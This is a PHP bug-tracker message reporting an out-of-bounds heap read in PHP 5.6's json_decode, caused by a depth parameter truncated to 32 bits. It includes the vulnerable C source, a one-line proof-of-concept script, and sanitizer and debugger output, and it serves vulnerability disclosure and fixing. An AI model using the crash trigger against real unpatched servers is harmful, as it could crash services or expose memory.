Bug #72787 [Ver]: json_decode reads out of bounds
| From: | bukka@php.net | Date: | Sun, 14 Aug 2016 11:55:32 +0000 |
| Subject: | Bug #72787 [Ver]: json_decode reads out of bounds | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-203273@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72787&edit=1
ID: 72787
Updated by: bukka@php.net
Reported by: fernando at null-life dot com
Summary: json_decode reads out of bounds
Status: Verified
Type: Bug
Package: JSON related
Operating System: Linux x86_64
PHP Version: 5.6.24
Block user comment: N
Private report: N
New Comment:
Just note that this is related just to 5.6 and there should be no issue in 7.0 (new parser).
Considering that almost all Linux users are using json-c which shouldn't have that issue
either, I'm not going to invest my time to fixing this. However if anyone else wants to fix it
before 5.6 goes to security only, you are more than welcome!
Previous Comments:
------------------------------------------------------------------------
[2016-08-08 21:52:14] cmb@php.net
I can confirm the issue checking with valgrind.
------------------------------------------------------------------------
[2016-08-08 19:33:39] fernando at null-life dot com
Description:
------------
When depth parameter is greater than 0xffffffff, cast to int (32 bytes) happen. Moreover, if last
four bytes of depth parameter are 0x0, then new_JSON_parser function allocates 0 bytes. Later,
parse_JSON_ex reads out of bounds.
Source code:
https://github.com/php/php-src/blob/PHP-5.6.25/ext/json/JSON_parser.c#L249
JSON_parser
new_JSON_parser(int depth)
{
JSON_parser jp = (JSON_parser)emalloc(sizeof(struct JSON_parser_struct));
jp->state = GO;
jp->depth = depth;
jp->top = -1;
jp->error_code = PHP_JSON_ERROR_NONE;
jp->stack = (int*)ecalloc(depth, sizeof(int)); // depth = 0
if (depth > JSON_PARSER_DEFAULT_DEPTH) {
jp->the_zstack = (zval **)safe_emalloc(depth, sizeof(zval), 0);
} else {
jp->the_zstack = &jp->the_static_zstack[0];
}
push(jp, MODE_DONE);
return jp;
}
Test script:
---------------
poc.php
<?php
json_decode('""', false, 0x100000000);
Expected result:
----------------
No crash
Actual result:
--------------
ASan output:
==8971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ff10 at pc 0x000000bc1e79
bp 0x7ffd151ad790 sp 0x7ffd151ad780
READ of size 4 at 0x60200000ff10 thread T0
#0 0xbc1e78 in parse_JSON_ex /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655
#1 0xbb4a3a in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:709
#2 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
#3 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#9 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#10 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)
0x60200000ff11 is located 0 bytes to the right of 1-byte region [0x60200000ff10,0x60200000ff11)
allocated by thread T0 here:
#0 0x7f16402df602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x17fcf69 in _ecalloc /home/operac/build2/php-src-56/Zend/zend_alloc.c:2610
#2 0xbbbb4c in new_JSON_parser /home/operac/build2/php-src-56/ext/json/JSON_parser.c:249
#3 0xbb4a10 in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:708
#4 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
#5 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#6 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#7 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#8 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#9 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#10 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#11 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 parse_JSON_ex
...
GDB output:
USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build2/bin/php -n poc.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build2/bin/php...done.
gdb-peda$ b json.c:708
Breakpoint 2 at 0xbb4a09: file /home/operac/build2/php-src-56/ext/json/json.c, line 708.
gdb-peda$ b new_JSON_parser
Breakpoint 3 at 0xbbb930: file /home/operac/build2/php-src-56/ext/json/JSON_parser.c, line 243.
gdb-peda$ r
...
Breakpoint 2, php_json_decode_ex (return_value=return_value@entry=0x60300004cd50, str=0x7ffff7e683a8
"\"\"", str_len=0x2, options=<optimized out>, depth=0x100000000) at
/home/operac/build2/php-src-56/ext/json/json.c:708
708 jp = new_JSON_parser(depth);
gdb-peda$ p depth
$1 = 0x100000000
gdb-peda$ c
Continuing.
...
Breakpoint 3, new_JSON_parser (depth=depth@entry=0x0) at
/home/operac/build2/php-src-56/ext/json/JSON_parser.c:243
243 {
gdb-peda$ p depth
$2 = 0x0 // Cast to 32bits
gdb-peda$ b _ecalloc
Breakpoint 4 at 0x17fce90: file /home/operac/build2/php-src-56/Zend/zend_alloc.c, line 2603.
gdb-peda$ c
...
Breakpoint 4, _ecalloc (nmemb=nmemb@entry=0x0, size=size@entry=0x4,
__zend_filename=__zend_filename@entry=0x21ad500
"/home/operac/build2/php-src-56/ext/json/JSON_parser.c",
__zend_lineno=__zend_lineno@entry=0xf9,
__zend_orig_filename=__zend_orig_filename@entry=0x0,
__zend_orig_lineno=__zend_orig_lineno@entry=0x0) at
/home/operac/build2/php-src-56/Zend/zend_alloc.c:2603
2603 {
gdb-peda$ p nmemb
$3 = 0x0 // Allocate 0 bytes
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72787&edit=1